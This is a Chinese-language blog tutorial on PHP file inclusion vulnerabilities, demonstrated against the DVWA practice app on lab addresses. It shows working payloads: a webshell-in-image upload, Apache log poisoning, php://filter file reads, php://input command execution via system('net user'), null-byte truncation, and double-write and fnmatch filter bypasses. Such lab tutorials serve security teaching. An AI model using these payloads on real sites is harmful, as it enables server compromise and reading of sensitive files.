檔案包含漏洞
阿新 • • 發佈:2020-07-26
包含漏洞簡介
包含操作,在大多數Web語言中都會提供的功能,但PHP對於包含檔案所提供的功能太強大,太靈活,所以包含漏洞經常出現在PHP語言中,這也就導致了出現了一個錯誤現狀,很多初學者認為包含漏洞只出現PHP語言之中,殊不知在其他語言中可能出現包含漏洞。這也應了一句老話:功能越強大,漏洞就越多。
PHP包含漏洞分類
包含漏洞不是語言的問題,而是人的思維問題! PHP中的四個包含檔案函式 include(),include_once(),require()和require_once()。 滿足條件 1、本地包含 LIF 2、遠端包含 RLF 需要 allow_url_include=on magic_quotes_gpc=off (php.ini)
PHP本地包含例項
![](https://img2020.cnblogs.com/blog/1585694/202007/1585694-20200726215018332-1444445354.png)
通過?page=xxx.html 來獲取本地的資源資訊
本地包含漏洞測試
首先上傳一個帶一句話木馬的圖片到Web站點上面,其次通過存在包含漏洞的頁面來包含剛上傳帶一句話木馬的圖片,最後一定要注意相對路徑。
PHP遠端包含例項
首先開啟C:\php\php-5.2.14-Win32\ php-apache2handler.ini 檔案(大家的檔案路徑不一定是這個),找到 allow_url_include=off 這行,把off改成on
包含漏洞上傳技巧
一般菜用一句話木馬與圖片繫結,在此希望大家多看一下上傳漏洞這一章。
包含日誌檔案
當某個PHP檔案存在本地包含漏洞,而卻無法上傳正常檔案,這就意味這有包含漏洞卻不能拿來利用,這時攻擊者就有可能會利用apache日誌檔案來入侵。 Apache伺服器執行後會生成兩個日誌檔案,這兩個檔案是access.log(訪問日誌)和error.log(錯誤日誌),apache的日誌檔案記錄下我們的操作,並且寫到訪問日誌檔案access.log之中 例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=../../../../Apache-20\logs\access.log
PHP包含讀檔案
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
訪問URL,得到經過base64加密後的字串:
經解密還原得到如下:
PHP包含寫檔案
構造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,並且提交post資料為:<?php system('net user');?>
注意:只有在allow _url_include為on的時候才可以使用,如果想查看回顯結果那必須在C:\php\php-5.2.14-Win32下找到php-apache2handler.ini開啟,查詢display_funtions=proc-open,oppen,exec,system…….刪掉system重啟apache。
包含截斷繞過
<?php
if(isset($_GET['page'])){
include $_GET['page'] .".php" ;
}else{
include 'home.php';
}
?>
這種方法只適合於magic_quotes_gpc=off的時候, php版本小於5.3.4,可通過%00截斷繞過,不過現在已經很難見到了,比如:index.php?file=info.txt//////////////…………超過一定資料的/。
str_replace函式繞過
使用str_replace函式是極其不安全的,因為可以使用雙寫繞過替換規則。
例如page=hthttp://tp://192.168.0.103/phpinfo.txt時,str_replace函式會將http://刪除,於是page=http://192.168.0.103/phpinfo.txt,成功執行遠端命令。
同時,因為替換的只是“../”、“..\”,所以對採用絕對路徑的方式包含檔案是不會受到任何限制的。
1、本地檔案包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini
2、絕對路徑不受任何影響
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
3、遠端檔案包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
fnmatch函式繞過
if(!fnmatch("file*",$file)&&$file!="include.php"),當檔案既不是"include.php"也不是"file*"(檔名file開頭)時才丟擲錯誤,反之意思,如果檔名符合其中一個條件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 剛好滿足"file*"(檔名file開頭)。
![](https://img2020.cnblogs.com/blog/1585694/202007/1585694-20200726215910007-1478221243.png)
構造url
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
成功讀取了伺服器的配置檔案
PHP內建協議
PHP帶有很多內建URL風格的封裝協議,可用於類似fopen()、copy()、file_exists()和filesize()的檔案系統函式。
具體協議請參照http://www.php.net/manual/zh/wrappers.php。